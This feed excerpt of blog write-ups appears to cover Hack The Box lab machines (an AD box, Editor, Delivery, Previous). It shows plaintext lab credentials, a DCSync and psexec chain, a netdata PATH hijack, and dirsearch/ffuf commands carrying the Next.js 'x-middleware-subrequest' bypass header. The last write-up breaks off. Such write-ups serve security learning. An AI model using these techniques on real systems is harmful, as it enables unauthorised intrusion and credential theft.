&lt;p&gt;&lt;img src=&quot;attachments/b3eff3d8778ed226e4d23a0b5b0feb37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;GenericWrite&lt;/h2&gt;
&lt;p&gt;I didn&apos;t hold any interesting privs but I still checked my GPO&apos;s in &lt;code&gt;bloodhound&lt;/code&gt; where I found that I had &lt;code&gt;GenericWrite&lt;/code&gt; privs over &lt;em&gt;Ethan&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0bdbe0152aff13600c20f12bf5481ac6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can use a targeted kerberoast to get the &lt;code&gt;krb5tgs&lt;/code&gt; hash for &lt;em&gt;Ethan&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d4494a55336c72d77bf0a7ac0b74702.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d5e07733786fab60ea5b62b789483fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Ethan
limpbizkit
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;DCSync&lt;/h2&gt;
&lt;p&gt;Now that I had &lt;em&gt;Ethan&lt;/em&gt;&apos;s creds I could easily abuse the &lt;code&gt;DCSync&lt;/code&gt; privileges in combination with &lt;code&gt;impacket-secretsdump&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b88f4ece8208297ba7b8bb53c89560a6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And then use &lt;code&gt;impacket-psexec&lt;/code&gt; to log in using the Admin hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/646ef1542a943b1e5d9ab393b800f197.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e0fcb5f0957379d9e42f2be056a76654.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0c76bd6514777da8e48ef139cd68797a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Editor</title><link>https://maxk9999.vercel.app/posts/editor</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/editor</guid><pubDate>Tue, 16 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.80
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- 10.10.11.80 -T5 --min-rate=5000 -vvvv -Pn

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    syn-ack Jetty 10.0.20
|_http-server-header: Jetty(10.0.20)
| http-methods: 
|   Supported Methods: OPTIONS GET HEAD PROPFIND LOCK UNLOCK
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Server Type: Jetty(10.0.20)
|_  Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
| http-robots.txt: 50 disallowed entries (40 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
| /xwiki/bin/undelete/ /xwiki/bin/reset/ /xwiki/bin/register/ 
| /xwiki/bin/propupdate/ /xwiki/bin/propadd/ /xwiki/bin/propdisable/ 
| /xwiki/bin/propenable/ /xwiki/bin/propdelete/ /xwiki/bin/objectadd/ 
| /xwiki/bin/commentadd/ /xwiki/bin/commentsave/ /xwiki/bin/objectsync/ 
| /xwiki/bin/objectremove/ /xwiki/bin/attach/ /xwiki/bin/upload/ 
| /xwiki/bin/temp/ /xwiki/bin/downloadrev/ /xwiki/bin/dot/ 
| /xwiki/bin/delattachment/ /xwiki/bin/skin/ /xwiki/bin/jsx/ /xwiki/bin/ssx/ 
| /xwiki/bin/login/ /xwiki/bin/loginsubmit/ /xwiki/bin/loginerror/ 
|_/xwiki/bin/logout/
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d3c33e8e5c265caee966fcc9d0f574d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Down at the bottom I noticed a &lt;strong&gt;Documentation&lt;/strong&gt; tab which when clicked showed the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ef072262550182348d3290ad56b1afb1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I had to edit this entry to my &lt;code&gt;/etc/hosts&lt;/code&gt; list.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cae649ba6ed6b4895b5c6052ced26c0b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then ran &lt;code&gt;ffuf&lt;/code&gt; to see whether I could find more vhosts but it appears this was  the only one:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97706eda411111457eaa9946180cf396.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Moving onto &lt;code&gt;wiki.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/86697e84601b16bd4320f9e97c3d845e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed the user &lt;em&gt;Neal Bagwell&lt;/em&gt;, might need this later on to log in.&lt;/p&gt;
&lt;p&gt;Furthermore I noticed a version number:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/25cfffb134487ec7630562fd626278a3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently there are plenty of CVE&apos;s for this version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/38c56025c2a023d4499a8138b1b57168.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I settled for &lt;a href=&quot;https://github.com/D3Ext/CVE-2025-24893&quot;&gt;this one&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/da793daaa12c52d80a0c5d328f88670e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as xwiki&lt;/h2&gt;
&lt;p&gt;I used the &lt;code&gt;busybox&lt;/code&gt; reverse shell command to get in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/15ecd41326631fe4f8271c9306bb37d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed a plethora of open ports:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/82407cce8c667fcb5c1ceba409037313.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I then downloaded and ran &lt;code&gt;linpeas.sh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c9bcf8cc436bb826ba0c08dfd1abc3f9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ff7b04430daa7e608497dcee4e8f1507.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This one seemed interesting as well if we can get access to a user who&apos;s in the &lt;em&gt;netdata&lt;/em&gt; group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/afe513589c735e6afce6e84429fed337.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I didn&apos;t really find anything else interesting so decided to look up the docs.&lt;/p&gt;
&lt;p&gt;I headed on over to the following directory where I landed in initially to enumerate it further.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a805f61922a436ef9727e2021cb68ef2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I found this file which I then proceded to check out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d68d7eba380532096fe2ae69266fead4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the &lt;code&gt;hibernate.cfg.xml&lt;/code&gt; file I found juicy cleartext creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0b99599fd3fb4076c67687f60cdb1339.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;xwiki
theEd1t0rTeam99
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MySQL&lt;/h2&gt;
&lt;p&gt;Using the found creds I was able to access &lt;code&gt;mysql&lt;/code&gt; and enumerate it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d971262833a1c87436f539158c26b0e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However I didn&apos;t find anything of use here so instead sprayed the password against the found &lt;em&gt;oliver&lt;/em&gt; user.&lt;/p&gt;
&lt;h2&gt;Lateral Movement - oliver&lt;/h2&gt;
&lt;p&gt;The credentials matched and I was able to move laterally:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b960ae35d7c078fec6ec9d696e7fc7d8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/79b80d3f742b62b18b946cdc61eb8323.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;netdata - ndsudo&lt;/h2&gt;
&lt;p&gt;This user was part of the &lt;em&gt;netdata&lt;/em&gt; group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/394e8f4ccb03434fe913cb5e5e13de47.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can use the previously found binaries that are non-default.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fc1591a4fd7f97b7b2b7e0d80531723c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6e53951264a1a1e3b67461aa1645c098.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/039e156fd02c9412bc0a000adbd4b489.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then transfered it over and executed it after adding &lt;code&gt;/tmp&lt;/code&gt; to my &lt;code&gt;$PATH&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/85852af18b72139d129f12c28f651dd1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/792a74e5c9451823602470471f4e4d88.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fd021e5455469b5f0d7ebb7fb582557e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5a3460909914a8312b15c9e85ccb046a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Delivery</title><link>https://maxk9999.vercel.app/posts/delivery</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/delivery</guid><pubDate>Tue, 16 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.10.222
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- 10.10.10.222 -T5 --min-rate=5000 -vvvv -Pn

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    syn-ack nginx 1.14.2
|_http-title: Welcome
|_http-server-header: nginx/1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
8065/tcp open  http    syn-ack Golang net/http server
| http-methods: 
|_  Supported Methods: GET
|_http-favicon: Unknown favicon MD5: 6B215BD4A98C6722601D4F8A985BF370
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Mattermost
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors &apos;self&apos;; script-src &apos;self&apos; cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Tue, 16 Sep 2025 06:22:01 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: zoepm6m5st8zpydro6dgggprch
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Tue, 16 Sep 2025 07:10:40 GMT
|     &amp;lt;!doctype html&amp;gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0&quot;&amp;gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&amp;lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot;&amp;gt;&amp;lt;title&amp;gt;Mattermost&amp;lt;/title&amp;gt;&amp;lt;meta name=&quot;mobile-web-app-capable&quot; content=&quot;yes&quot;&amp;gt;&amp;lt;meta name=&quot;application-name&quot; content=&quot;Mattermost&quot;&amp;gt;&amp;lt;meta name=&quot;format-detection&quot; content=&quot;telephone=no&quot;&amp;gt;&amp;lt;link re
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors &apos;self&apos;; script-src &apos;self&apos; cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Tue, 16 Sep 2025 06:22:01 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: 3qwkqzys5fnx9p7x5c44z3pbje
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Tue, 16 Sep 2025 07:10:24 GMT
|     &amp;lt;!doctype html&amp;gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0&quot;&amp;gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&amp;lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot;&amp;gt;&amp;lt;title&amp;gt;Mattermost&amp;lt;/title&amp;gt;&amp;lt;meta name=&quot;mobile-web-app-capable&quot; content=&quot;yes&quot;&amp;gt;&amp;lt;meta name=&quot;application-name&quot; content=&quot;Mattermost&quot;&amp;gt;&amp;lt;meta name=&quot;format-detection&quot; content=&quot;telephone=no&quot;&amp;gt;&amp;lt;link re
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Date: Tue, 16 Sep 2025 07:10:25 GMT
|_    Content-Length: 0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I went on over to the website and found this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/207bd4bdc61f3c53b6d609b8744905c0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When clicking on it it takes us to &lt;code&gt;helpdesk.delivery.htb&lt;/code&gt;, which means that I have to add a vhost to my &lt;code&gt;/etc/hosts&lt;/code&gt; list.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dbbbeac303476d34de71cc231be5fd4c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now when I run &lt;code&gt;gobuster&lt;/code&gt; I find some interesting endpoints:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/331cf41d4abf21b89eacc6075b5837b0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Heading on over to the vhost I find the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/210d5f69eaef8e3f0d6b63281aef0098.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;burpsuite&lt;/h3&gt;
&lt;p&gt;In &lt;strong&gt;Check Ticket Status&lt;/strong&gt; there&apos;s a mention of registering an account so I try it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc33d5d1fbf6db63d73473d486698462.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Clicking on it I see this URL:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cbcde79cca6594b0987d96d3da02291e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
It might be vulnerable to IDOR, SQLi or LFI in the best case.
:::&lt;/p&gt;
&lt;p&gt;I registered for a sample account and checked &lt;code&gt;burp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/694b819e2d7b77f105528eb79e95e0e2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But this tells us that we need to verify the email, nonetheless we can continue on as the &lt;em&gt;Guest&lt;/em&gt; user.&lt;/p&gt;
&lt;p&gt;I could then create and submit a ticket:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/401bf67429a0000540112384dd9c3cc1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1b19dcb1e26ee5c811f5c6fcbf1e65b5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a12ca2cabf7a63a22e6c0dbeb80a3c2c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could then view the ticket:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/108b1998bcc207ffa132baf5039d7c56.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;8065/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I then went on over to the &lt;strong&gt;Mattermost&lt;/strong&gt; instance on port &lt;code&gt;8065&lt;/code&gt; where I could register using the provided email address when I created the ticket:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0b015ed3fea95bab4e5013acf504bb96.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Back on port &lt;code&gt;80&lt;/code&gt; I can now refresh the page and see the following content appear:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e6d2a1cc3ae4a9f6afe382979bf361bb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I copy and paste the link and see this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d952ec399d3602b66bfdd61cfdb72c18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was able to join the &lt;strong&gt;Internal&lt;/strong&gt; team server where I found the following conversations:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/af65868d809a2629ce365dacdd32ee13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;maildeliverer
Youve_G0t_Mail!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;SSH as maildeliverer&lt;/h2&gt;
&lt;p&gt;I log in with the found credentials.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8d8d4548e6e0f5fea9daf561249bb561.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/767c47743b0cc14ae2fa903de78a12c2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the &lt;code&gt;/opt&lt;/code&gt; directory I find the &lt;code&gt;mattermost&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9045e3a1178b46b04f7015d7da22987a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/920ffa08969ce3254f5c90fde2b404cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/10256b779778887cd48536aa49fd23cc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mmuser
Crack_The_MM_Admin_PW
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3306/TCP - MySQL&lt;/h2&gt;
&lt;p&gt;Using the found creds I logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b6625ac40f012f7734b7087742319a80.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/49cda019c6d11cef5bec602364e02ff2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gave an absolute boatload of output.&lt;/p&gt;
&lt;p&gt;Amongst all the noise however I was also able to find &lt;em&gt;root&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e7b50dc2a3390f5fed185f236d36a0e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;hashcat - rule based&lt;/h2&gt;
&lt;p&gt;I used hashcat with the &lt;code&gt;best64.rule&lt;/code&gt; to crack the hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1b176d81ab0522118d0258bc6b5442d4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c864a09d00778a400e7ea232276707c4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It was simply a variation on the cleartext password that we&apos;ve already found previously in the &lt;strong&gt;Internal&lt;/strong&gt; channel. Let&apos;s log in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/afc9bc0d57ac2dae23ad42b7adc11452.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/042bb1538a4b9a1f4cbb066fc34d9a49.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
&lt;img src=&quot;attachments/0f0bbd6459104ee9dd65b3f71182e836.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here is the &lt;a href=&quot;https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c&quot;&gt;link to the post&lt;/a&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/893eefc5e98562d5b1038b118ee4bfdb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Previous</title><link>https://maxk9999.vercel.app/posts/previous</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/previous</guid><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.83
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- 10.10.11.83 -T5 --min-rate=5000 -vvvv -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: PreviousJS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/31644a58111af46938059dd22e4634e3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Clicking ond &lt;strong&gt;Docs&lt;/strong&gt; takes me to the following screen:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/af998c29fe1c64cd92399c219b5f79f7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried out using &lt;code&gt;admin - admin&lt;/code&gt; and saw the following result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/70263e4e95c7283815777c61e73cba41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;CVE-2025-29927&lt;/h3&gt;
&lt;p&gt;Since I found nothing else useful I decided to look it up online:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f3f11d14ac403c797ef8a4270f159944.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!quote]+
The vulnerability lies in the fact that this header check can be exploited by external users. By adding the x-middleware-subrequest header with the correct value to a request, an attacker can completely bypass any middleware-based protection mechanisms.Here&apos;s how the vulnerability works at the code level Javascript&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;attachments/84920c11c9343f658787230591fe1279.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Following up there was a whole text about which &lt;strong&gt;NextJS&lt;/strong&gt; version could be exploited in what way so I decided to check the current version running:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1b4be2e88c5f833b8904688b45a2ed37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This version probably falls under the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6aae05717a51bf69c8e7c6871d257f9c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using this knowledge I ran &lt;code&gt;dirrsearch&lt;/code&gt; using the &lt;code&gt;-H&lt;/code&gt; (header) option with the above exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u http://previous.htb/api -H &apos;x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bf2005319e5fd8229dc430b3d5d15f5b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Parameter Fuzzing&lt;/h3&gt;
&lt;p&gt;Using the &lt;code&gt;burp-parameter-names.txt&lt;/code&gt; I fuzzed the parameter that was associated with the &lt;code&gt;/download?&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u &apos;http://previous.htb/api/download?FUZZ=a&apos; -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H &apos;x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware&apos; -mc all -fw 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5b95bdec6479bf490f49298de47a234b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!danger]+
